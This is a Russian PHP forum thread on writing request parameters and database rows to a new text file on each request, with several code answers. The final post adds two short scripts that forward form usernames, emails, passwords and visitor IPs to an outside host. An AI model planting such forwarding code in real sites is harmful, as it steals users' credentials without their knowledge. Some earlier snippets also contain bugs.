Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: Запись в файл данных из POST запроса

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Без описания
Ejik
Отправлено: 07 Ноября, 2009 - 19:37:27
Post Id


Гость


Покинул форум
Сообщений всего: 110
Дата рег-ции: Окт. 2007  


Помог: 0 раз(а)




Всем здравствуйте!!!
Помогите с решением задачи.
В общем из запроса (например http://site.com/script.php?arg1=111&arg2=222&arg3=333) нужно значения arg сохранить в файл и при новом запросе нужно не писать в старый файл (если он еще находится на месте), а создать новый. Т.е с каждым новым запросом должен создаваться новый файл и записывать туда данные.
 
 Top
JROUD
Отправлено: 07 Ноября, 2009 - 21:11:16
Post Id


Гость


Покинул форум
Сообщений всего: 78
Дата рег-ции: Нояб. 2009  


Помог: 0 раз(а)




PHP:
скопировать код в буфер обмена
  1.  
  2. define('dir', './folder'); //Папка куда сохраняются файлы
  3. define('file_name', 'file'); //Имя файла
  4. define('file_name_lenght', '4'); //Длинна имени
  5. define('sufix', 'txt'); //Расширение файла
  6. $result = scandir(dir); //Что уже находится в папке?
  7. $files = count($result); //Количество файлов и папок в каталоге
  8. //Определяем номер файла
  9. for ($i=0; $i<$files; $i++)
  10. {
  11.         if (is_file(dir.$result[$i])) //Если элемент файл
  12.         {
  13.                 $tmp=explode('.', $result[$i]); //Разбиваем на имя файла и его расширение
  14.                 if ($tmp[1]==sufix and substr($tmp[0], 0, file_name_lenght)==file_name) //Если это ранее записанный файл
  15.                 {
  16.                         if ($file_num<substr($tmp[0], file_name_lenght)) //Если номер нового файла менше уже существующего, то
  17.                         {
  18.                                 $file_num=substr($tmp[0], file_name_lenght)+1; //номер нового файла на еденицу больше предидущего
  19.                         }              
  20.                 }
  21.         }
  22. }
  23. $file=fopen(file_name.$file_num.'.'.sufix, 'w'); //Создаём файл для записи
  24. for ($i=1; $i<=3; $i++) // !!! Тут нужно указать количество получаемых аргументов !!! (здесь три)
  25. {
  26.         fputs($file, $_POST['arg'.$i].'/n'); //Выводим значение аргументов в файл
  27. }
  28. flush(); //Очищаем поток
  29. fclose($file); //Закрываем файл
  30.  

(Отредактировано автором: 07 Ноября, 2009 - 22:05:54)

 
 Top
Мелкий Супермодератор
Отправлено: 07 Ноября, 2009 - 21:35:51
Post Id



Активный участник


Покинул форум
Сообщений всего: 11926
Дата рег-ции: Июль 2009  
Откуда: Россия, Санкт-Петербург


Помог: 618 раз(а)




Ejik, ?arg1=111&arg2=222&arg3=333 - это GET параметры, пост по ссылкам не виден. Надо именно их писать?


-----
PostgreSQL DBA
 
 Top
JROUD
Отправлено: 07 Ноября, 2009 - 21:39:20
Post Id


Гость


Покинул форум
Сообщений всего: 78
Дата рег-ции: Нояб. 2009  


Помог: 0 раз(а)




Возможно он просто хотел указать на наличие, количество и значение аргументов Закатив глазки

(Отредактировано автором: 07 Ноября, 2009 - 21:39:46)

 
 Top
OverNik
Отправлено: 07 Ноября, 2009 - 21:54:13
Post Id



Частый гость


Покинул форум
Сообщений всего: 182
Дата рег-ции: Янв. 2008  


Помог: 0 раз(а)




Создадим файл id.txt, туда пишем число 0 - это будет Ваш индекатор.
Нам придется его обработать с explode ( http://php.su/functions/?explode )

Допустим этот индекатор будет у нас $id;
Теперь при каждном создавании нового файла пользуйтесь fopen ( http://php.su/functions/?fopen ),
к примеру:
PHP:
скопировать код в буфер обмена
  1. $file = fopen("data".$id++.".txt",a);
  2. $data = "То что нужно записать в файл";
  3. fwrite($file,$data);
  4. fclose($file);

Так же ниже этого скрипта придется написать ещё один, который будет нашему $id присваивать +1 и записывать его в файл id.txt. Вот и вся хитрость, при каждом запросе у Вас будет создаваться файл data0.txt или data1.txt и тд...

(Отредактировано автором: 07 Ноября, 2009 - 21:57:46)

 
 Top
Ejik
Отправлено: 09 Ноября, 2009 - 04:58:46
Post Id


Гость


Покинул форум
Сообщений всего: 110
Дата рег-ции: Окт. 2007  


Помог: 0 раз(а)




Всем большое спасибо за помощь и за примеры.
 
 Top
Ejik
Отправлено: 11 Ноября, 2009 - 06:00:35
Post Id


Гость


Покинул форум
Сообщений всего: 110
Дата рег-ции: Окт. 2007  


Помог: 0 раз(а)




Из бд вытаскиваю строки и записываю в файл, как сделать чтобы при записи в файл каждая строка записывалась с новой строки.
вот код
PHP:
скопировать код в буфер обмена
  1.  
  2. $sql=mysql_query("SELECT * FROM gsm_sms WHERE status=0") or die (mysql_error());
  3. for ($data=array();$row=mysql_fetch_assoc($sql);$data[]=$row);
  4. foreach ($data as $z) {
  5. $id=$z['id'];
  6. echo $id;
  7. $stroka = $z['phone'].";".$z['message'].";".$z['shortcode'].";".$z['status'].";".$z['timein'].chr(013);
  8. $base = fopen ("file/".date("YmdHis",time()).".txt","a") or die("Ошибка");
  9. //Записываем в файл очередную строку
  10.  fwrite ($base,$stroka);
  11.  //Закрываем файл
  12.  fclose ($base);

сейчас записывается в текстовый файл так: arg1;arg2;arg3 arg1;arg2;arg3; arg1;arg2;arg3;
и все это в одну строку, не как не получается привести к такому виду:
arg1;arg2;arg3;
arg1;arg2;arg3;
arg1;arg2;arg3;
 
 Top
valenok
Отправлено: 11 Ноября, 2009 - 08:09:58
Post Id



Здесь могла бы быть ваша реклама


Покинул форум
Сообщений всего: 4574
Дата рег-ции: Июль 2006  
Откуда: Israel


Помог: 3 раз(а)




fputs($h, "\r\n");


-----
Truly yours, Sasha.
 
My status
 Top
Ejik
Отправлено: 11 Ноября, 2009 - 08:20:45
Post Id


Гость


Покинул форум
Сообщений всего: 110
Дата рег-ции: Окт. 2007  


Помог: 0 раз(а)




valenok пишет:
fputs($h, "\r\n");

Спасибо!!! Радость
 
 Top
DJ-X
Отправлено: 08 Декабря, 2011 - 21:23:51
Post Id



Новичок


Покинул форум
Сообщений всего: 20
Дата рег-ции: Дек. 2011  


Помог: 0 раз(а)




Запись post запросов в БД - это круто!
Можно много чего интересного узнать.
На пример что ищут на сайте или что пишут роботы на страницах входа и регистрации Улыбка

В опере можно заменить в Средствах Разработки, исходный код method="post" на method="get" и тогда всё будет видно в адресной строке.
CODE (htmlphp):
скопировать код в буфер обмена
  1. /index.php?user=333&cookielength=60&passwrd=333


А ещё можно отправлять это всё куда-нибудь Улыбка



post.php

PHP:
скопировать код в буфер обмена
  1. <?PHP
  2. function PostToHost($data) {
  3. $fp = fsockopen("www.mysite.com",80);
  4. fputs($fp, "POST /add.php HTTP/1.1\n" );
  5. fputs($fp, "Host: www.mysite.com\n" );
  6. fputs($fp, "Content-type: application/x-www-form-urlencoded\n" );
  7. fputs($fp, "Content-length: ".strlen($data)."\n" );
  8. fputs($fp, "Connection: close\n\n" );
  9. fputs($fp, $data);
  10. fclose($fp);
  11. }
  12. PostToHost('username='. $_POST['user'] .'&ip_addr='. $_SERVER['REMOTE_ADDR'] .'&email='. $_POST['email'] .'&passwrd='. $_POST['passwrd'] .'&passwrd1='. $_POST['passwrd1'] .'end');
  13. ?>





get.php

PHP:
скопировать код в буфер обмена
  1. <?PHP
  2. @file_get_contents('http://www.mysite.com/add?username='. $_POST['user'] .'&email='. $_POST['email'] .'&ip='. $_SERVER['REMOTE_ADDR'] .'&passwrd='. $_POST['passwrd'] .'&passwrd1='. $_POST['passwrd1'] .'end')
  3. ?>

(Отредактировано автором: 10 Декабря, 2011 - 20:42:51)

 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Напишите за меня, пожалуйста »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB